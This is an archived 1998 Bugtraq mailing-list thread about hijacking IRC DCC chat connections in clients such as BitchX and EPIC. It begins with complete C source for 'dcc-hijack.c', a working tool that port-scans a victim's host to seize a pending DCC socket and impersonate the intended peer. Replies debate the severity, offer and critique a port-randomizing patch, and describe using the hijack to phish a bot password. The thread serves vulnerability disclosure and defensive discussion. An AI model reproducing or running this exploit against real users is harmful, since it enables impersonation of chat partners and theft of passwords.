home *** CD-ROM | disk | FTP | other *** search
/ Hackers Handbook - Millenium Edition / Hackers Handbook.iso / files / c_scripts / dcc-hijack.c < prev    next >
Internet Message Format  |  1999-04-11  |  21KB

  1. Date: Sat, 19 Dec 1998 13:58:04 +0100
  2. From: awgn@COSMOS.IT
  3. Reply-To: Bugtraq List <BUGTRAQ@netspace.org>
  4. To: BUGTRAQ@netspace.org
  5. Subject: Irc: another funny stuff. In some irc clients dcc may be hijacked.
  6.  
  7. I just found a funny bug playing with some irc-client. DCC-chat may be
  8. hijacked...
  9.  
  10. The trouble comes while clients bind port to accept or request a dcc
  11. CHAT/SEND/ or RECEIVE.
  12. Being this a simple TCP connection without any ip control.. the way to
  13. exploit is trivial.
  14.  
  15. Here we go:
  16.  
  17. B , the hi-jacker wants to have fun with A. So he first creates a dcc
  18. connection with A,
  19. getting the port binded.
  20.  
  21. Now A is under attack since next ports used to create connections will
  22. be quite consecutive to the first one. BitchX and IRCepic seem to be
  23. affected with this matter. ( other clients???)
  24.  
  25. Now A tries to /dcc chat C, but this is just a bit lagged. ( C maybe a
  26. bot? )
  27. B , using the following source, is going to assume the identity of C
  28. except for his host. :-)
  29.  
  30. I simply implemented some routines of my hailscan to guess which is the
  31. port binded.
  32. When it finds an open port, it establish a connection running a kinda
  33. irc-client.
  34.  
  35. All of this is just for educational purpose only.
  36.  
  37. The source provided herein can be improved for better results.
  38.  
  39.  
  40. awgn@cosmos.it
  41.      coding&networking division.
  42.     [ Part 2: "Attached Text" ]
  43.  
  44. /* Dcc hijack (c) 1998 awgn@cosmos.it
  45.  *
  46.  * Some pieces of this code are ripped from hailscan v 1.9908.
  47.  * available at www.dislessici.org. ( hosted at cosmos.it )
  48.  *
  49.  * CREDITS:     cosmos.it -> this isp r0x!!!! ( Thansk to spider@cosmos.it )
  50.  *              kasko, antirez & gigi_sull @seclab.com
  51.  *
  52.  * GREETINGS:   *@dislessici.org , #hackers@ircity rappo,filo,cyber,litos,lordfelix...
  53.  *              Sir-Alex: take it easy... only God knows the truth ;-).
  54.  *              Thor: everyone is missing you.
  55.  *              Jwk, jam, zorro , c1rp0, megat0n -> how is going your parser ? ;)
  56.  *
  57.  *              #hackers@undernet.org ( expecially to my buddy nigr zerox)
  58.  *              #america@undernet.org  ( dedicated to my bro' sartre, exx & jeanlucP )
  59.  *              #hackers.it@ircnet    ( m0f0z - radon - Nail^d0d )
  60.  *
  61.  *              NERVOUS! -> how can i forget your nick? hehe
  62.  *
  63.  * Tested on Linux and *BSD.
  64.  *
  65.  * This code is provided for educational purposes only. */
  66.  
  67. #include <sys/types.h>
  68. #include <sys/socket.h>
  69. #include <netinet/in.h>
  70. #include <arpa/inet.h>
  71. #include <netdb.h>
  72. #include <unistd.h>
  73. #include <string.h>
  74. #include <stdlib.h>
  75. #include <stdio.h>
  76. #include <fcntl.h>
  77. #include <sys/time.h>
  78. #include <unistd.h>
  79. #include <errno.h>
  80.  
  81. #define MAXSOCKET 32
  82. #define TIMEOUT   10
  83.  
  84.  
  85. struct sockaddr_in newsock;
  86.  
  87.  
  88. struct sweep {
  89.   int sock;
  90.   short port;
  91.   long sec;
  92.   long usec;
  93.   struct sweep *next;
  94.  
  95. };
  96.  
  97.  
  98. struct sweep *sheet, *top_sheet;
  99. int csock = 0;
  100.  
  101. int portcounter;
  102.  
  103.  
  104. int
  105. set_nonblock (int s)
  106. {
  107.   int val = 0;
  108.   if ((val = fcntl (s, F_GETFL, val)) == -1)
  109.     return -1;
  110.   val |= O_NONBLOCK;
  111.   fcntl (s, F_SETFL, val);
  112.   return 0;
  113. }
  114.  
  115.  
  116. int
  117. time_out (long int sec_a, long int usec_a, long int sec_b, long int usec_b, int time_max)
  118. {
  119.   if ((((sec_a - sec_b) == time_max) && (usec_a > usec_b)) || ((sec_a - sec_b) > time_max))
  120.     return 1;
  121.  
  122.   return 0;
  123. }
  124.  
  125. int
  126. push_sockets (void)
  127. {
  128.  
  129.   struct timeval actually;
  130.  
  131.   gettimeofday (&actually, NULL);
  132.  
  133.   if (!sheet->sock) {
  134.     sheet->sock = socket (AF_INET, SOCK_STREAM, 0);
  135.     if (set_nonblock (sheet->sock) == -1)
  136.       return 0;
  137.  
  138.     sheet->sec = actually.tv_sec;
  139.     sheet->usec = actually.tv_usec;
  140.  
  141.     sheet->port = portcounter++;
  142.  
  143.   } else
  144.     return 0;
  145.  
  146.   return 1;
  147.  
  148. }
  149.  
  150.  
  151.  
  152. u_long
  153. getnbobyname (u_char * host)
  154. {
  155.   struct in_addr addr;
  156.   struct hostent *host_ent;
  157.  
  158.   if ((addr.s_addr = inet_addr (host)) == -1) {
  159.     if (!(host_ent = gethostbyname (host))) {
  160.       fprintf (stderr, "gethostbyname() or inet_addr() err:%s\n", strerror (errno));
  161.       return 0;
  162.     }
  163.     bcopy (host_ent->h_addr, (char *) &addr.s_addr, host_ent->h_length);
  164.   }
  165.   return addr.s_addr;
  166. }
  167.  
  168.  
  169. void
  170. client (int s, char *str)
  171. {
  172.  
  173.   FILE *in, *out;
  174.   char in_line[1024];
  175.   char out_line[1024];
  176.  
  177.   in = fdopen (s, "r");
  178.   out = fdopen (s, "a");
  179.  
  180.   setlinebuf (in);
  181.   setlinebuf (out);
  182.  
  183.   set_nonblock (s);
  184.  
  185.  
  186.   printf ("\nGotcha!\nDCC hijacked.\n\n\n");
  187.  
  188.   while (1) {
  189.  
  190.     while (fgets (in_line, 1024, in))
  191.       printf ("<%s> %s", str, in_line);
  192.  
  193.     fgets (out_line, 1024, stdin);
  194.     if (strlen (out_line) > 1)
  195.       fprintf (out, "%s", out_line);
  196.  
  197.   }
  198.  
  199.   exit (0);
  200. }
  201.  
  202.  
  203.  
  204. void
  205. usage (char *name)
  206. {
  207.  
  208.   fprintf (stderr, "\ndcc-hijack (c) 1998 awgn@cosmos.it\n\n");
  209.   fprintf (stderr, "usage: %s host.of.dcc.asker baseport\n", name);
  210.  
  211.   exit (1);
  212.  
  213. }
  214.  
  215.  
  216.  
  217. void
  218. scan (unsigned long int a, int *out, unsigned short int *port)
  219. {
  220.   struct timeval now;
  221.   int i = 0;
  222.  
  223.   *out = 0;
  224.   *port = 0;
  225.  
  226.  
  227.   sheet = (struct sweep *) malloc (sizeof (struct sweep));
  228.   top_sheet = sheet;
  229.  
  230.   for (; i < MAXSOCKET; i++) {
  231.     sheet->sock = 0;
  232.     sheet->next = (struct sweep *) malloc (sizeof (struct sweep));
  233.     sheet = sheet->next;
  234.     sheet->next = NULL;
  235.   }
  236.  
  237.   sheet = top_sheet;
  238.  
  239.  
  240.   newsock.sin_addr.s_addr = a;
  241.   newsock.sin_family = AF_INET;
  242.  
  243.  
  244.   while (1) {
  245.  
  246.  
  247.     while (sheet->next) {
  248.  
  249.       gettimeofday (&now, NULL);
  250.  
  251.       if (!sheet->sock)
  252.         push_sockets ();
  253.       else {
  254.         if (time_out (now.tv_sec, now.tv_usec, sheet->sec, sheet->usec, TIMEOUT))
  255.           sheet->sock = 0;
  256.  
  257.         else {
  258.  
  259.           newsock.sin_port = htons ((u_short) sheet->port);
  260.  
  261.           if (connect (sheet->sock, (struct sockaddr *) &newsock, sizeof (newsock)) == 0) {
  262.             *out = sheet->sock;
  263.             *port = sheet->port;
  264.             return;
  265.           } else
  266.             switch (errno) {
  267.             case EISCONN:
  268.               *out = sheet->sock;
  269.               *port = sheet->port;
  270.                 return;
  271.               break;
  272.  
  273.               case ETIMEDOUT:
  274.               case EINVAL:
  275.               case ECONNREFUSED:
  276.               case EADDRNOTAVAIL:
  277.                 close(sheet->sock);
  278.                 sheet->sock=0;
  279.                 break;
  280.                            }
  281.  
  282.               }
  283.          }
  284.  
  285.       sheet = sheet->next;
  286.  
  287.     }
  288.  
  289.     sheet = top_sheet;
  290.  
  291.   }
  292.  
  293.  
  294.  
  295.   return;
  296.  
  297. }
  298.  
  299.  
  300. int
  301. main (int argc, char **argv)
  302. {
  303.   int nb0 = 0;
  304.   int sock = 0;
  305.   unsigned short port_guessed = 0;
  306.  
  307.  
  308.   if (argc < 3)
  309.     usage (argv[0]);
  310.  
  311.   if (!(nb0 = (u_long) getnbobyname ((char *) argv[1]))) {
  312.     fprintf (stderr, "argv[1] err: which kind of host/ip did you pass me?\n");
  313.     exit (1);
  314.   }
  315.   if (!(portcounter = atoi (argv[2]))) {
  316.     fprintf (stderr, "port() err: which kind of port did you pass me?\n");
  317.     exit (1);
  318.   }
  319.  
  320.   scan (nb0, &sock, &port_guessed);
  321.  
  322.   if (!sock || !port_guessed) {
  323.     fprintf (stderr, "Sorry: no port found.\nDCC between clients may be already estabilished.\n");
  324.     exit (1);
  325.   }
  326.  
  327.   client (sock, argv[1]);
  328.  
  329.  
  330.   return 0;
  331.  
  332. }
  333.  
  334. --------------------------------------------------------------------------
  335.  
  336. Date: Sun, 20 Dec 1998 10:35:43 -0500
  337. From: Ben Winslow <rain@INSANE.LOONYBIN.NET>
  338. Reply-To: Bugtraq List <BUGTRAQ@netspace.org>
  339. To: BUGTRAQ@netspace.org
  340. Subject: Re: Ircii-epic: Irc: another funny stuff. In some irc clients dcc              may be hijacked.  (fwd)
  341.  
  342. ---------- Forwarded message ----------
  343. Received: from BlackHole.RainNet.Org (rain@BlackHole.RainNet.Org [192.168.1.3])
  344.         by Portal.RainNet.Org (8.8.8/8.8.8/Debian/GNU) with ESMTP id KAA26632
  345.         for <rain@portal.RainNet.Org>; Sun, 20 Dec 1998 10:31:10 -0500
  346. Received: from listopher.concentric.net (listopher.concentric.net
  347.     [206.173.119.117])
  348.         by BlackHole.RainNet.Org (8.8.5/8.8.5) with ESMTP id KAA13517
  349.         for <rain@insane.loonybin.net>; Sun, 20 Dec 1998 10:31:23 -0500
  350. Received: (from majordom@localhost)
  351.         by listopher.concentric.net (8.8.3/8.8.5)
  352.         id KAA21767; Sun, 20 Dec 1998 10:06:15 -0500 (EST)
  353. Message-ID: <199812201506.JAA27379@nemesis.acronet.net>
  354. To: ircii-epic@concentric.net
  355. Subject: Re: Ircii-epic: Irc: another funny stuff. In some irc clients dcc may
  356.     be hijacked.
  357. In-Reply-To: Your message of "19 Dec 1998 22:17:00 +0200."
  358.     <77AMlEdphjB@kl.Snafu.DE>
  359. Date: Sun, 20 Dec 1998 09:06:07 -0600
  360. >From: Jeremy Nelson <jnelson@acronet.net>
  361. Sender: owner-ircii-epic@concentric.net
  362. Precedence: bulk
  363.  
  364. >I just found a funny bug playing with some irc-client. DCC-chat may be
  365. >hijacked...
  366.  
  367. This is not a bug in the client.  It is a function of the operating system.
  368. For example, this ``bug'' is not present in OpenBSD because it hands out
  369. ports randomly
  370.  
  371. >The trouble comes while clients bind port to accept or request a dcc
  372. >CHAT/SEND/ or RECEIVE.  Being this a simple TCP connection without any ip
  373. >control.. the way to exploit is trivial.
  374.  
  375. This is preposterous.  The client informs you of the remote IP address
  376. connecting.  Any half-aware user checks the IP address to make sure
  377. that it is reasonable.
  378.  
  379. >Here we go:
  380. >
  381. >B , the hi-jacker wants to have fun with A. So he first creates
  382. >a dcc connection with A, getting the port binded.
  383. >
  384. >Now A is under attack since next ports used to create connections will
  385. >be quite consecutive to the first one. BitchX and IRCepic seem to be
  386. >affected with this matter. ( other clients???)
  387. >
  388. >Now A tries to /dcc chat C, but this is just a bit lagged. ( C maybe a
  389. >bot? ) B , using the following source, is going to assume the identity of C
  390. >except for his host. :-)
  391.  
  392. Folks, this is completely preposterous.  This "exploit program" is nothing
  393. more than a limited-range port scanner.  What this "exploit" boils down
  394. to is:
  395.  
  396.         "If you establish a DCC connection with me, then if I port-scan
  397.          you later between when you offer a DCC and when it is received,
  398.          I will be able to connect to your DCC offer."
  399.  
  400. Well, duh.  You could just turn this into a full-blown scanner and scan all
  401. day for DCC connections if thats what you wanted to accomplish, and even
  402. such a scanner as that would work on OpenBSD, where ports are handed out
  403. randomly.
  404.  
  405. Folks, this is not a bug, except to the extent that you completely ignore
  406. the IP address on your established DCC transactions.  If its not the right
  407. IP, close it and try again.  And email the abuse contact of the offending
  408. ISP about how their users are port scanning you.
  409.  
  410. Sheesh.
  411. Jeremy
  412.  
  413. --------------------------------------------------------------------------
  414.  
  415. Date: Sun, 18 Oct 1998 19:50:48 +0200
  416. From: Alessio Orlandi <nailtbt@TIN.IT>
  417. Reply-To: Bugtraq List <BUGTRAQ@netspace.org>
  418. To: BUGTRAQ@netspace.org
  419. Subject: DCC HiJacking patch for BitchX 75p1
  420. Parts/Attachments:
  421.    1 Shown    26 lines  Text
  422.    2 Shown    20 lines  Text
  423. ----------------------------------------
  424.  
  425. Hi all,
  426.    as recently discovered, with a simple port scan you can hijack some
  427. of the BitchX dcc
  428. connections. This due to the port assigning on the requesting client.
  429. Here follows a really short patch that will fix the problem. The problem
  430. is here:
  431. BitchX when creates a DCC connection (listening socket) uses the
  432. functions
  433. connect_by_number (defined in network.c file). Passing as port 0
  434. This means that the OS will determine the port. Now.. for mental order..
  435. the ports will be quiet consecutive. Bad.. Bad... So.. let's add a
  436. random value to the port returned by the system. All is now fixed.
  437. Patch follows
  438. -----------------------------------------------------------------------------------------
  439.  
  440. Regards
  441.                                                           Alessio
  442. "NaiL^d0d@ircnet/ircity" Orlandi
  443. Thanks to: hackers@ircity Litos (you one of my best friend), Nervous,
  444. awgn (hehe),
  445.                                         Lordfelix (salam), Raptor,
  446. BlackJam, kasko, antirez
  447.          and  hackers.it@ircnet Soren, NaiF, Bonjo
  448. ----------------------------------------------------------------------------------------
  449.  
  450.  
  451.  
  452.     [ Part 2: "Attached Text" ]
  453.  
  454. --- source/network.c
  455. +++ source/network.c            1998/7/20 08:56:44
  456. @@ -21,7 +21,9 @@
  457.  #ifdef HAVE_SYS_FILIO_H
  458.  #include <sys/filio.h>
  459.  #endif
  460.  
  461. +/* NaiL^d0d: no hijack please, we need random bytes, in stdlib.h */
  462. +#include <stdlib.h>
  463.  
  464.  extern char hostname[NAME_LEN+1];
  465.  extern int  use_socks;
  466. @@ -172,6 +172,7 @@
  467.  memset(&name, 0, sizeof(struct sockaddr_in));
  468.  name.sin_family = AF_INET;
  469.  name.sin_addr.s_addr = htonl(INADDR_ANY);
  470.  name.sin_port = htons(*portnum);
  471. +name.sin_port+=(unsigned short)(rand() &255);
  472.  
  473.  if (bind(fd, (struct sockaddr *)&name, sizeof(name)))
  474.  
  475. --------------------------------------------------------------------------
  476.  
  477. Date: Mon, 21 Dec 1998 16:33:30 -0500
  478. From: Ben Winslow <rain@INSANE.LOONYBIN.NET>
  479. Reply-To: Bugtraq List <BUGTRAQ@netspace.org>
  480. To: BUGTRAQ@netspace.org
  481. Subject: Re: DCC HiJacking patch for BitchX 75p1
  482.  
  483. On Sun, 18 Oct 1998, Alessio Orlandi wrote:
  484.  
  485. # Hi all,
  486. #    as recently discovered, with a simple port scan you can hijack some
  487. # of the BitchX dcc
  488. # connections. This due to the port assigning on the requesting client.
  489. # Here follows a really short patch that will fix the problem. The problem
  490. # is here:
  491. # BitchX when creates a DCC connection (listening socket) uses the
  492. # functions
  493. # connect_by_number (defined in network.c file). Passing as port 0
  494. # This means that the OS will determine the port. Now.. for mental order..
  495. # the ports will be quiet consecutive. Bad.. Bad... So.. let's add a
  496. # random value to the port returned by the system. All is now fixed.
  497. # Patch follows
  498. # -----------------------------------------------------------------------------------------
  499. #
  500. # Regards
  501. #                                                           Alessio
  502. # "NaiL^d0d@ircnet/ircity" Orlandi
  503. # Thanks to: hackers@ircity Litos (you one of my best friend), Nervous,
  504. # awgn (hehe),
  505. #                                         Lordfelix (salam), Raptor,
  506. # BlackJam, kasko, antirez
  507. #          and  hackers.it@ircnet Soren, NaiF, Bonjo
  508. # ----------------------------------------------------------------------------------------
  509. #
  510. #
  511. #
  512. This patch won't work-- what if a port you decide on is already in use by
  513. something else?
  514.  
  515.         Ben
  516.  
  517. --------------------------------------------------------------------------
  518.  
  519. Date: Mon, 21 Dec 1998 16:27:13 -0500
  520. From: Andy Dills <andy@SS5.XECU.NET>
  521. Reply-To: Bugtraq List <BUGTRAQ@netspace.org>
  522. To: BUGTRAQ@netspace.org
  523. Subject: Re: DCC HiJacking patch for BitchX 75p1
  524.  
  525. On Sun, 18 Oct 1998, Alessio Orlandi wrote:
  526.  
  527. > the ports will be quiet consecutive. Bad.. Bad... So.. let's add a
  528. > random value to the port returned by the system. All is now fixed.
  529. > Patch follows
  530.  
  531. Your patch changes the order, but there is still order.
  532.  
  533. You need to call srand() once before using rand, to ensure actual
  534. randonimity.
  535.  
  536. Andy
  537. --
  538. System Administrator
  539. XecuNet Internet Services
  540.  
  541. --------------------------------------------------------------------------
  542.  
  543. Date: Tue, 22 Dec 1998 18:48:43 -0600
  544. From: mikey <mikey@PHEDZ.COM>
  545. Reply-To: Bugtraq List <BUGTRAQ@netspace.org>
  546. To: BUGTRAQ@netspace.org
  547. Subject: Re: DCC HiJacking patch for BitchX 75p1
  548.  
  549. Yes, this might help. But why worry? they would need to port scan, and
  550. find the port quicker than the other client can connect. Do you think they
  551. can do this all the time? Or Barely ever? So this is not a problem, I
  552. don't understand why anyone even got jumpy over it. I could do the same
  553. with ftp, ftp opens ports waiting to recieve files. Do you see people
  554. making patches for that?
  555.  
  556. On Sun, 18 Oct 1998, Alessio Orlandi wrote:
  557.  
  558. > Hi all,
  559. >    as recently discovered, with a simple port scan you can hijack some
  560. > of the BitchX dcc
  561. > connections. This due to the port assigning on the requesting client.
  562. > Here follows a really short patch that will fix the problem. The problem
  563. > is here:
  564. > BitchX when creates a DCC connection (listening socket) uses the
  565. > functions
  566. > connect_by_number (defined in network.c file). Passing as port 0
  567. > This means that the OS will determine the port. Now.. for mental order..
  568. > the ports will be quiet consecutive. Bad.. Bad... So.. let's add a
  569. > random value to the port returned by the system. All is now fixed.
  570. > Patch follows
  571. > -----------------------------------------------------------------------------------------
  572. >
  573. > Regards
  574. >                                                           Alessio
  575. > "NaiL^d0d@ircnet/ircity" Orlandi
  576. > Thanks to: hackers@ircity Litos (you one of my best friend), Nervous,
  577. > awgn (hehe),
  578. >                                         Lordfelix (salam), Raptor,
  579. > BlackJam, kasko, antirez
  580. >          and  hackers.it@ircnet Soren, NaiF, Bonjo
  581. > ----------------------------------------------------------------------------------------
  582.  
  583. --------------------------------------------------------------------------
  584.  
  585. Date: Tue, 22 Dec 1998 15:41:26 -0500
  586. From: Ben Winslow <rain@INSANE.LOONYBIN.NET>
  587. Reply-To: Bugtraq List <BUGTRAQ@netspace.org>
  588. To: BUGTRAQ@netspace.org
  589. Subject: Re: Ircii-epic: about dcc hijacking... (fwd)
  590.  
  591. To: ircii-epic@concentric.net
  592. Subject: Re: Ircii-epic: about dcc hijacking... (fwd)
  593. In-Reply-To: Your message of "Mon, 21 Dec 1998 16:30:59 EST."
  594.     <Pine.LNX.4.03.9812211630450.22325-100000@Portal.RainNet.Org>
  595. Date: Tue, 22 Dec 1998 10:31:31 -0600
  596. >From: Jeremy Nelson <jnelson@acronet.net>
  597. Sender: owner-ircii-epic@concentric.net
  598. Precedence: bulk
  599.  
  600. >Heya, I did not say that dcc-hijack.c is more than a simple tcp
  601. >portscanner, so this is not so preposterous as you wrote.
  602.  
  603. What I thought was preposterous is that you presented this as some kind of
  604. serious problem.
  605.  
  606. >Then if you read my post with attention you can't find anything absurde.
  607.  
  608. No comment.
  609.  
  610. >More, it could not be a `bug', anyway we can easly patch irc-client to
  611. >bind random port.
  612.  
  613. This won't change the problem since you can still port-scan a wider range
  614. to pick up the random ports.  This kind of stuff is best left to the
  615. operating system.
  616.  
  617. Your "exploit" only works when:
  618.  
  619. 1) Someone either accepts or initiates a dcc transaction with an
  620.    untrusted party.
  621. 2) During the time that the untrusted party runs the port scanner, the
  622.    DCC transaction is the one and only transaction that is pending.  If,
  623.    for example, someone is doing a FTP, then you could just as well pick up
  624.    one of their PORT commands rather than a DCC listen.
  625. 3) The untrusted party runs the port scanner between when the person
  626.    initiates the latter DCC CHAT and when the latter DCC CHAT is accepted.
  627.    (Race condition)
  628. 4) The person does not double-check the IP address on the latter DCC CHAT
  629.    to see if it is reasonable.
  630.  
  631. >Which is your point of view? hehe
  632.  
  633. My point of view is that one should write a script to hook /on dcc_offer,
  634. dispatch a userhost or userip (depending on your network) to retrieve the
  635. hostname of the person you are soliciting for a dcc transaction.  When that
  636. hostname information comes back, stash it in a variable.  When the DCC is
  637. accepted, if the hostname information has not come back, 'wait'.  If it
  638. has come back, then check $2 (or whatever) against the IP address of the
  639. person you are interested in.  If its not the same, chances are you have
  640. a conflict to look at.
  641.  
  642. An alternative solution for those who are lazy is to keep a "moving" variable
  643. that holds open a DCC RAW port over the last few DCC's you have offered.
  644. Something that hooks /on dcc_offer and then does a $listen() to fool the
  645. port scanner into connecting to the $listen() socket would be sufficient.
  646. One must be careful to close their fd's though when theyre done.
  647.  
  648. I do not feel that the random binding of ports offers anything useful
  649. above and beyond the current mechanism.   If you are interested in
  650. implementing either of the above, then i would be most appreciative and
  651. interested in your work...
  652.  
  653. Jeremy
  654.  
  655. --------------------------------------------------------------------------
  656.  
  657. Date: Tue, 22 Dec 1998 13:48:06 -0500
  658. From: YounGoat <youngoat@ALFHEIM.NET>
  659. Reply-To: Bugtraq List <BUGTRAQ@netspace.org>
  660. To: BUGTRAQ@netspace.org
  661. Subject: Re: DCC HiJacking patch for BitchX 75p1
  662.  
  663. I can see this being exploited.  I'll give you an example.  You have A who is
  664. trying to hijack B's DCC to C who is a bot.
  665.  
  666. A dcc chat's B.  (he gets the port that that B uses.  And gives that to
  667. his hijack program which will then go thorough the next 150 ports or so over and
  668. over)
  669.  
  670. A asks B if he is able to DCC chat the bot C.  And asks B to try.
  671.  
  672. When B tries to dcc the bot, guess who is right there ready to connect to B and
  673. give him a "Enter your password."  prompt?
  674.  
  675. This is not meant to be a guide for script kiddies, but I do believe this is
  676. certainly a problem, and the only sure fix is to check the hostname of the
  677. person connecting or use a password that is given during the DCC request for
  678. authentication.  Since the latter would involve changing the IRC protocol, I'd
  679. say irc clients are just going to have to verify that the right person is
  680. connecting.  With that, the worst thing that could happen is that somebody
  681. could keep connecting and the irc client would keep rejecting him, possibly
  682. causing a DOS.
  683.  
  684. ----------------------------------
  685. E-Mail: YounGoat <youngoat@alfheim.net>
  686. Date: 22-Dec-98
  687. Time: 13:39:09
  688.  
  689. This message was sent by XFMail
  690. ----------------------------------
  691.